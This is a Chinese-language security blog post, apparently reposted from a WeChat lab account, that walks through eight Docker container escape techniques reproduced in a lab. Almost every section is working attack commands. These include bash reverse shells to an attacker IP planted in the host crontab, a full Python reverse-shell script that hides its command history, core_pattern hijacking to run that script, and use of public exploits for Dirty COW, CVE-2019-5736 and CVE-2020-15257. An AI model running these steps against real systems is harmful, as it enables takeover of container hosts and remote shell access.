『杂项』Docker 逃逸方法汇总

admin 2023年3月15日18:44:21评论69 views字数 7668阅读25分33秒阅读模式

点击蓝字 关注我们


日期:2023-03-15
作者:Corl7
介绍:Docker逃逸方法汇总。

0x00 前言

在攻防中,拿到webshell后,发现自己是在docker容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。

复现关于配置错误导致的docker逃逸时,均使用的是Ubuntu20.04.5和最新版docker,在复现脏牛漏洞实现Docker逃逸、runC容器逃逸漏洞、CVE-2020-15257逃逸时,在环境搭建部分,有相关版本说明。下面就介绍各种docker逃逸方法:

0x01 如何判断当前机器是否为docker容器环境

1.1 检查根目录下是否存在.dockerenv文件

如果根目录下存在.dockerenv文件,说明是在docker容器中。

ls -al /

『杂项』Docker 逃逸方法汇总

1.2 检查 /proc/1/cgroup 是否存在含有docker字符串

查询系统进程的cgroup信息,存在docker字段则是在docker容器中。

cat /proc/1/cgroup

『杂项』Docker 逃逸方法汇总

0x02 Docker Remote API未授权访问逃逸

在使用docker swarm的时候,管理的docker节点上会开放一个TCP端口2375,默认绑定在0.0.0.0上,造成任何人都可以访问管理端的2375端口,任何人都可以远程控制管理的docker环境。

2.1 环境搭建

使用vulhub中的漏洞环境。

cd vulhub-master/docker/unauthorized-rcedocker-compose builddocker-compose up -d

2.2 漏洞验证

访问versioninfo界面,如果存在返回信息,说明漏洞存在。

http://192.168.59.147:2375/versionhttp://192.168.59.147:2375/info

『杂项』Docker 逃逸方法汇总

『杂项』Docker 逃逸方法汇总

2.3 漏洞利用

在利用之前,需要在中安装好docker,通过命令查看目标主机是否存在正在运行的docker镜像,结果为空,说明不存在正在运行的docker容器。

docker -H tcp://192.168.59.147:2375 ps
『杂项』Docker 逃逸方法汇总

让目标主机拉取一个镜像。

docker -H tcp://192.168.59.147:2375 pull alpine
『杂项』Docker 逃逸方法汇总

查看目标主机拉取的镜像。

docker -H tcp://192.168.59.147:2375 images
『杂项』Docker 逃逸方法汇总

以特权模式,启动拉取的alpine镜像。

docker -H tcp://192.168.59.147:2375 run -it --privileged alpine  /bin/sh
『杂项』Docker 逃逸方法汇总

查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。

fdisk -lmkdir /hackermount /dev/sda5 /hackerls hacker/
『杂项』Docker 逃逸方法汇总

首先在kali中使用nc监听,进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。

cd /hackertouch /hacker/hacker.shecho "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.shecho "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab
『杂项』Docker 逃逸方法汇总

返回到kali中进行查看,已成功接收到shell

『杂项』Docker 逃逸方法汇总

0x03 privileged特权模式启动容器逃逸

特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。

3.1 环境搭建

拉取一个镜像,在启用时使用--privileged

docker pull ubuntu:16.04docker run -itd --privileged ubuntu:16.04 /bin/bash
『杂项』Docker 逃逸方法汇总

3.2 漏洞验证

判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff

cat /proc/self/status |grep Cap
『杂项』Docker 逃逸方法汇总

3.3 漏洞利用

docker容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。

fdisk -lmkdir /hackermount /dev/sda5 /hacker
『杂项』Docker 逃逸方法汇总

首先在kali中使用nc监听,进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。

cd /hackertouch /hacker/hacker.shecho "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.shecho "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab
『杂项』Docker 逃逸方法汇总

返回到kali中进行查看,已成功接收到shell

『杂项』Docker 逃逸方法汇总

0x04 危险挂载导致Docker逃逸

在启动docker容器时,将服务器中的根目录或敏感目录挂载到容器中时,可能会造成docker逃逸。

4.1 环境搭建

docker pull ubuntu:16.04docker run -itd -v /:/hacker ubuntu:16.04 /bin/bashdocker exec -it e3a95344a65d bash
『杂项』Docker 逃逸方法汇总

4.2 漏洞利用

进入到hacker目录,查看是否将宿主机的根目录挂载到/hacker目录中,挂载成功之后,接下来就可以通过写计划任务反弹shell,这里就不再演示,反弹shell方法参考上面反弹shell步骤。

cd hacker/ls
『杂项』Docker 逃逸方法汇总

0x05 挂载Docker Socket逃逸

在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为clientServer端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作docker

unix:///var/run/docker.socktcp://host:portfd://socketfd

5.1 环境搭建


docker pull ubuntu:16.04docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
『杂项』Docker 逃逸方法汇总

5.2 漏洞验证

如果存在这个文件,说明漏洞可能存在。

find / -name docker.sock 
『杂项』Docker 逃逸方法汇总

5.3 漏洞利用

docker容器中安装docker

apt-get updateapt-get install docker.io
『杂项』Docker 逃逸方法汇总

docker容器中,使用命令查看宿主机拉取的镜像。

docker -H unix://var/run/docker.sock images 
『杂项』Docker 逃逸方法汇总

docker容器中,使用命令再运行一个docker容器,将宿主机的根目录挂载到ubuntu:16.04test目录中,造成docker逃逸,在通过写计划任务方式,反弹shell,这里不在演示反弹shell过程。

docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bashls /test
『杂项』Docker 逃逸方法汇总

0x06 挂载宿主机procfs逃逸

procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。当利用这种方式进行docker逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。

6.1 环境搭建

启动容器,将/proc/sys/kernel/core_pattern挂载到容器中的/host/proc/sys/kernel/core_pattern位置。

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.04

『杂项』Docker 逃逸方法汇总

6.2 漏洞验证

如果找到两个core_pattern文件,那可能就是挂载了宿主机的procfs

find / -name core_pattern
『杂项』Docker 逃逸方法汇总

6.3 漏洞利用

当启动一个容器时,会在/var/lib/docker/overlay2目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work目录,而docker容器的目录保存在merged目录中,通过命令找到当前容器在宿主机下的绝对路径,workdir代表的是docker容器在宿主机中的绝对路径。

cat /proc/mounts | grep docker
『杂项』Docker 逃逸方法汇总

安装 vimgcc

apt-get update -y && apt-get install vim gcc -y

创建一个反弹 Shellpy脚本。


vim /tmp/.t.py
#!/usr/bin/python3import osimport ptyimport socketlhost = "192.168.59.145"lport = 6666def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") # os.remove('/tmp/.t.py') s.close()if __name__ == "__main__": main()

我们修改/host/proc/sys/kernel/core_pattern文件以达到修改宿主机 /proc/sys/kernel/core_pattern的目的。

chmod 777 /tmp/.t.pyecho -e "|//var/lib/docker/overlay2/559aa75e1fbf3659f9f229f5d7e7e6c4ce4ec1cb2a8c42d3d07476c42148a567/merged/tmp/.t.py rcore    " >  /host/proc/sys/kernel/core_pattern

『杂项』Docker 逃逸方法汇总

kali中使用nc进行监听,然后在容器里创建一个可以崩溃的程序,编译之后并运行。


vim t.c
#include<stdio.h>int main(void) { int *a = NULL; *a = 1; return 0;}
gcc t.c -o t./t
『杂项』Docker 逃逸方法汇总

返回到kali中进行查看,已成功接收到shell

『杂项』Docker 逃逸方法汇总

0x07 脏牛漏洞实现Docker逃逸

当宿主机存在Dirty Cow(CVE-2016-5195)漏洞时,利用该漏洞,可实现Docker容器逃逸,获得root权限的shell

7.1 环境搭建

使用Ubuntu14.04.5版本进行复现,该版本是存在脏牛漏洞的,执行下面命令之前需要安装好dockerdocker-compose

git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/ sudo docker-compose run dirtycow /bin/bash

7.2 漏洞利用

kali中开启监听,进入到dirtycow-vdso目录,编译之后,并执行。

cd /dirtycow-vdsomake./0xdeadbeef 192.168.59.145:6666

『杂项』Docker 逃逸方法汇总

返回到kali中进行查看,已成功接收到shell

『杂项』Docker 逃逸方法汇总

0x08 runC容器逃逸漏洞

2019211日,runc的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam IwaniukBorys Poplawski发现。该漏洞编号为CVE-2019-5736,漏洞影响在默认设置下运行的docker容器,并且攻击者可以使用它来获得主机上的root级访问权限。

8.1 影响版本

docker version <= 18.09.2RunC version <= 1.0-rc6

8.2 环境搭建

使用Ubuntu16.04.7版本进行复现,通过下面命令安装指定版本docker

apt-get updateapt-get install -y apt-transport-https ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"apt-get updateapt-cache madison docker-ceapt-get install docker-ce=18.06.1~ce~3-0~ubuntu
『杂项』Docker 逃逸方法汇总

安装完docker之后,拉取ubuntu16.04docker容器,并运行。

docker pull ubuntu:16.04docker run -it ubuntu:16.04

『杂项』Docker 逃逸方法汇总

8.3 漏洞利用

kali中下载exp,并进行编辑,在var payload所在行中添加bash反弹命令。

git clone https://github.com/Frichetten/CVE-2019-5736-PoC cd CVE-2019-5736-PoCvim main.go
『杂项』Docker 逃逸方法汇总
『杂项』Docker 逃逸方法汇总

修改完之后,进行编译。

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
『杂项』Docker 逃逸方法汇总

重新打开一个终端,查看正在运行的docker容器,并将编译生成的main文件,拷贝到ubuntu:16.04容器中的tmp目录中。

docker psdocker cp main cfb1c24d8c58:/tmp
『杂项』Docker 逃逸方法汇总

docker容器中,给tmp目录中的main文件提升权限,并运行。

cd /tmplschmod 777 main./main
『杂项』Docker 逃逸方法汇总

假装为宿主机管理员,现在进入到该容器中,运行完命令之后,会提示No help topic for '/bin/bash',这时并没有进入到docker容器中。

docker exec -it cfb1c24d8c58 /bin/bash
『杂项』Docker 逃逸方法汇总

这时再到docker容器中进行查看,发现exp已被执行。

『杂项』Docker 逃逸方法汇总

返回到kali中进行查看,已成功接收到shell

『杂项』Docker 逃逸方法汇总

0x09 CVE-2020-15257逃逸

由于在host模式下,容器与host共享一套Network namespaces,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID0,但没有限制对抽象Unix域套接字的访问。所以当一个容器root权限,且容器的网络模式为--net=host的时候,通过ontainerd-shim API可以达成容器逃逸的目的。

9.1 影响版本

containerd < 1.4.3containerd < 1.3.9

9.2 环境搭建

使用Ubuntu16.04.7版本进行复现,通过下面命令安装指定版本docker

apt-get updateapt-get install ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"apt-get updateapt-cache madison docker-ceapt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

『杂项』Docker 逃逸方法汇总

拉取ubuntu:18.04镜像,使用--net=host启动,并进入到该容器内部。

docker pull ubuntu:18.04docker run -itd --net=host ubuntu:18.04 /bin/bashdocker exec -it 5be3ed60f152 /bin/bash
『杂项』Docker 逃逸方法汇总

9.3 漏洞利用

进入到tmp目录,使用wget下载exp

cd /tmpwget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
『杂项』Docker 逃逸方法汇总

下载完成之后进行解压。

tar -zxvf cdk_v0.1.6_release.tar.gz

『杂项』Docker 逃逸方法汇总

kali中使用nc进行监听,并执行exp

./cdk_linux_amd64 run shim-pwn 192.168.59.145 6666
『杂项』Docker 逃逸方法汇总

返回到kali中进行查看,已成功接收到shell

『杂项』Docker 逃逸方法汇总

0x10 总结

在搭环境时,出现了非常多的问题,一个漏洞环境可能会花半天或一天时间去搭建,最后才能复现成功,幸好自己没有放弃,才能复现这么多的漏洞,学到这么多的知识。

『杂项』Docker 逃逸方法汇总

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『杂项』Docker 逃逸方法汇总

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月15日18:44:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『杂项』Docker 逃逸方法汇总http://cn-sec.com/archives/1606756.html

发表评论

匿名网友 填写信息